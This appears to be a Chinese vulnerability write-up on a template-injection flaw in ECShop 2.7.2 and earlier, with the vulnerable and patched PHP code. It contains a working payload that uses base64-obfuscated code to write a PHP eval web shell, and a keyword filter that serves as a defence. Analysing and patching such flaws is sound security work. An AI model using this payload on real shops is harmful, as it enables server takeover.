1. 漏洞描述
2. 漏洞触发条件
3. 漏洞影响范围
4. 漏洞代码分析
5. 防御方法
6. 攻防思考

http://www.cnblogs.com/LittleHann/p/4077491.html
http://www.secpulse.com/archives/18839.html

模块管理 -> 邮件模版 -> 把内容改成
{$user_name'];file_put_contents(base64_decode('Li4vdGVtcC9zaGVsbC5waHA='),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWycyMDcnXSk7Pz4='));echo $var['$user_name}
</p>
<p>{$user_name}您好！<br />
<br />
您已经进行了密码重置的操作，请点击以下链接(或者复制到您的浏览器):<br />
<br />
<a target="_blank" href="{$reset_email}">{$reset_email}</a><br />
<br />
以确认您的新密码重置操作！<br />
<br />
{$shop_name}<br />
{$send_date}</p>

file_put_contents(base64_decode('../temp/shell.php','<?php @eval($_POST['207']);?>');

elseif ($_REQUEST['act'] == 'save_template')
{
    $_POST['subject'] = json_str_iconv($_POST['subject']);
    $_POST['content'] = json_str_iconv($_POST['content']);

    //echo $_POST['content'];
    //die();

    if (empty($_POST['subject']))
    {
        make_json_error($_LANG['subject_empty']);
    }
    else
    {
        $subject = trim($_POST['subject']);
    }

    if (empty($_POST['content']))
    {
        make_json_result($_LANG['content_empty']);
    }
    else
    {
        $content = trim($_POST['content']);
    }

    $type   = intval($_POST['is_html']);
    $tpl_id = intval($_POST['tpl']);
    if ($type)
    {
        $content = str_replace(array("\r\n", "\n"), array('<br />', '<br />'), $content);
    }
    else
    {
        $content = str_replace('<br />', '\n', $content);
    }
    $sql = "UPDATE " .$ecs->table('mail_templates'). " SET ".
                "template_subject = '" .str_replace('\\\'\\\'', '\\\'', $subject). "', ".
                "template_content = '" .str_replace('\\\'\\\'', '\\\'', $content). "', ".
                "is_html = '$type', ".
                "last_modify = '" .gmtime(). "' ".
            "WHERE template_id='$tpl_id'";

    if ($db->query($sql, "SILENT"))
    {
        make_json_result('',  $_LANG['update_success']);
    }
    else
    {
        make_json_error($_LANG['update_failed'] ."\n". $GLOBALS['db']->error());
    }
}

http://www.sky00.com/archives/908.html
http://www.51php.com/ecshop/9924.html

ECShop_V2.7.2
ECShop_V2.7.2 及以前版本

/*------------------------------------------------------ */
//-- 保存模板内容
/*------------------------------------------------------ */

elseif ($_REQUEST['act'] == 'save_template')
{ 
    if (empty($_POST['subject']))
    {
       sys_msg($_LANG['subject_empty'], 1, array(), false);
    }
    else
    {
        $subject = trim($_POST['subject']);
    }

    if (empty($_POST['content']))
    {
       sys_msg($_LANG['content_empty'], 1, array(), false);
    }
    else
    {
        $content = trim($_POST['content']);
    }

    $type   = intval($_POST['is_html']);
    $tpl_id = intval($_POST['tpl']);

    /*过滤了部分php关键词*/    
    $temp_check = preg_replace("/([^a-zA-Z0-9_]{1,1})+(extract|parse_str|str_replace|unserialize|ob_start|require|include|array_map|preg_replace|copy|fputs|fopen|file_put_contents|file_get_contents|fwrite|eval|phpinfo|assert|base64_decode|create_function|call_user_func)+( |\()/is", "", $content);
    $temp_check = preg_replace("/<\?[^><]+(\?>){0,1}|<\%[^><]+(\%>){0,1}|<\%=[^><]+(\%>){0,1}|<script[^>]+language[^>]*=[^>]*php[^>]*>[^><]*(<\/script\s*>){0,1}/iU", "", $temp_check); 
    $content = $temp_check;
    /**/

    $sql = "UPDATE " .$ecs->table('mail_templates'). " SET ".
                "template_subject = '" .str_replace('\\\'\\\'', '\\\'', $subject). "', ".
                "template_content = '" .str_replace('\\\'\\\'', '\\\'', $content).  "', ".
                "is_html = '$type', ".
                "last_modify = '" .gmtime(). "' ".
            "WHERE template_id='$tpl_id'";

    if ($db->query($sql, "SILENT"))
    {
        $link[0]=array('href' => 'mail_template.php?act=list', 'text' => $_LANG['update_success']);
        sys_msg($_LANG['update_success'], 0, $link);
    }
    else
    {
         sys_msg($_LANG['update_failed'], 1, array(), false);
    }
}

function fetch_str($source)
{ 
    var_dump($source);
    if (!defined('ECS_ADMIN'))
    {
        $source = $this->smarty_prefilter_preCompile($source);
    }
    $source=preg_replace("/([^a-zA-Z0-9_]{1,1})+(copy|fputs|fopen|file_put_contents|fwrite|eval|phpinfo)+( |\()/is", "", $source);
    if(preg_match_all('~(<\?(?:\w+|=)?|\?>|language\s*=\s*[\"\']?php[\"\']?)~is', $source, $sp_match))
    {
        $sp_match[1] = array_unique($sp_match[1]);
        for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++)
        {
        $source = str_replace($sp_match[1][$curr_sp],'%%%SMARTYSP'.$curr_sp.'%%%',$source);
        }
         for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++)
        {
         $source= str_replace('%%%SMARTYSP'.$curr_sp.'%%%', '<?php echo \''.str_replace("'", "\'", $sp_match[1][$curr_sp]).'\'; ?>'."\n", $source);
        }
    }
    $resutl = preg_replace_callback("/{([^\}\{\n]*)}/", function($r) { return $this->select($r[1]); }, $source);
    die(var_dump($resutl));
    return $resutl;
}